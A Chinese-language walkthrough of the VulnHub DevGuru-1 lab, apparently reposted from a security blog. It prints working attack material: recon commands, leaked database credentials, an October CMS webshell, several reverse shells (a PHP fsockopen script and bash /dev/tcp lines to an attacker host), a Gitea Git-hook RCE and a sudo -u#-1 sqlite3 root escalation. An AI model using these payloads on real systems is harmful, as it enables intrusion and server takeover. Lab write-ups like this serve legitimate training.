Vulnhub-DevGuru-1
2023-11-22 07:19:17 Author: 灰帽安全(查看原文) 阅读量:6 收藏

title: Vulnhub-DevGuru-1
categories:
- VulnHub
tags:
- Linux
- nmap
- October
- gobuster
- Gitea
- Git信息泄露
- githack
- Git
- MySQL
- Adminer
- 密文替换
- RCE
- PHP
- LinEnum
- sudo
- bcrypt
cover: /images/Vulnhub.png
abbrlink: ce266e04
date: 2023-02-17 15:04:48

Vulnhub DevGuru-1<!--more-->

0x01 靶机介绍

  • Name: DevGuru: 1

  • Date release: 7 Dec 2020

  • Author: Zayotic

  • Series: DevGuru

  • Difficulty: Intermediate (Depends on experience)

  • Description: DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.

靶机下载地址:

https://www.vulnhub.com/entry/devguru-1,620/

0x02 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_devguru

扫描结果显示目标开放了22、80、8585端口

80端口

访问http://192.168.0.106为博客界面

访问http://192.168.0.106:8585为 Gitea

目录探测

使用 gobuster 进行目录扫描,成功找到/backend目录和adminer.php文件

gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php

adminer.php为 adminer 数据库登录界面

backend为 OctoberCMS 后台登录界面

0x03 上线[www-data]

Git信息泄漏

使用 githack 提取.git文件

下载地址:

https://github.com/lijiejie/GitHack
git clone https://github.com/lijiejie/GitHackpython GitHack.py http://192.168.0.103/.git/

config/database.php下找到数据库连接信息

'host'       => 'localhost','port'       => 3306,'database'   => 'octoberdb','username'   => 'october','password'   => 'SQ66EBYx4GT3byXH',

通过账号密码october/SQ66EBYx4GT3byXH成功登录adminer

backend_users表中发现用户frank和对应密码

username: frankpassword: $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK

密码破解失败

密文替换

尝试进行密文替换,经查询后$2y$10$表示 md5 二次加密且加盐,使用在线加密网站加密密码mac123

相关地址:

https://bcrypt-generator.com/

成功拿到加密值为

$2a$10$Bp88D3.PdNiW0HSt4cI9SuAdKMr2JAzJYgVq/Tfh5VsQ8mrLpaTWq,通过 adminer 修改用户 frank 的 password 值为以上密文

成功登入

OctoberCMS 后台http://192.168.0.103/backend/backend/auth/signin

October RCE

在 HOME 中发现代码编辑模块,在Code中添加命令执行函数

function onStart(){    $this->page["myVar"] = shell_exec($_GET['cmd']);}

Markup中添加调用执行函数,点击Save保存

{{ this.page.myVar }}

点击Preview查看发现代码成功写入

访问木马192.168.0.103/?cmd=id,成功执行命令

反弹shell

方法一

准备用于反弹shell的 PHP 源码,内容如下:

<?php set_time_limit(0); $ip='192.168.0.106';$port='4444';$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{  fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");  while(!feof($fp)){  fputs($fp,"shell:");  $shell=fgets($fp);  $message=`$shell`;  fputs($fp,$message);  }fclose($fp);}?>

在本地开启 http 服务

python -m SimpleHTTPServer 80

通过木马执行 wget 命令下载shell.php

wget http://192.168.0.106/shell.php

在本地监听4444端口

nc -nvlp 444

访问http://192.168.0.103/shell.php,成功拿到反弹shell

方法二

修改CODE如下

function onStart(){    $this->page["myVar"] = system('bash -c \'exec bash -i &>/dev/tcp/192.168.0.106/5555 <&1\'');}

在本地开启5555端口

nc -nvlp 5555

保存后访问Home界面,成功拿到反弹shell

0x04 权限提升[frank]

信息收集

上传 linenum 检测系统,成功发现/var/backups目录下存在 bak 备份文件

cd /var/backups

检查app.in.bak文件内容,成功发现数据库连接信息

DB_TYPE             = mysqlHOST                = 127.0.0.1:3306NAME                = giteaUSER                = gitea; Use PASSWD = `your password` for quoting if you use special characters in the password.PASSWD              = UfFPTF8C8jjxVF2m

通过 adminer 登录 gitea 数据库

在 user 表中同样发现账户 frank,使用mac123的密文$2a$10$Bp88D3.PdNiW0HSt4cI9SuAdKMr2JAzJYgVq/Tfh5VsQ8mrLpaTWq进行替换,同时选择加密方式为 bcrypt

保存并成功登录192.168.0.103:8585

Gitea RCE

如果不切换加密方式,保持原加密方式 pbkdf2,可通过 Python 执行拿到对应密文

import hashlib, binascii
password = b"123456"salt = b"Bop8nwtUiM"
dk = hashlib.pbkdf2_hmac("sha256", password, salt, 10000, dklen=50)print(binascii.hexlify(dk))
`123456`成功生成密文为`4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a89578a0e42cca143775d8cb`
`Settings``Git Hooks``pre-receive`

找到执行命令页面,命令如下

bash -c 'exec bash -i &>/dev/tcp/192.168.0.106/6666 <&1'

点击更新后在本地监听6666端口

nc -nvlp 6666

在项目中选择文件README.md修改并保存

成功拿到反弹shell并找到第一个flag

cat user.txt

0x05 权限提升[root]

信息收集

查看当前用户 sudo 权限,成功发现以管理员权限执行 sqlite 无需密码

sudo -l

sudo提权

执行命令配合 sudo 进行提权,但仍然提示需要密码

sudo sqlite3 /dev/null '.shell /bin/sh'

使用-u#-1进行绕过,成功拿到 root 权限

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

在管理员家目录下成功拿到第二个flag

python3 -c 'import pty;pty.spawn("/bin/bash")'cd /rootcat root.txt

0x06 知识星


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2MjYxODQ4Mw==&mid=2247484880&idx=1&sn=ea89adcd658b676178749dc522b6ed0d&chksm=ce0453ccf973dada4c75c752a0492156aa7407937b7f1dd7de01dca83bf5b2e40a1b12f080b1&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh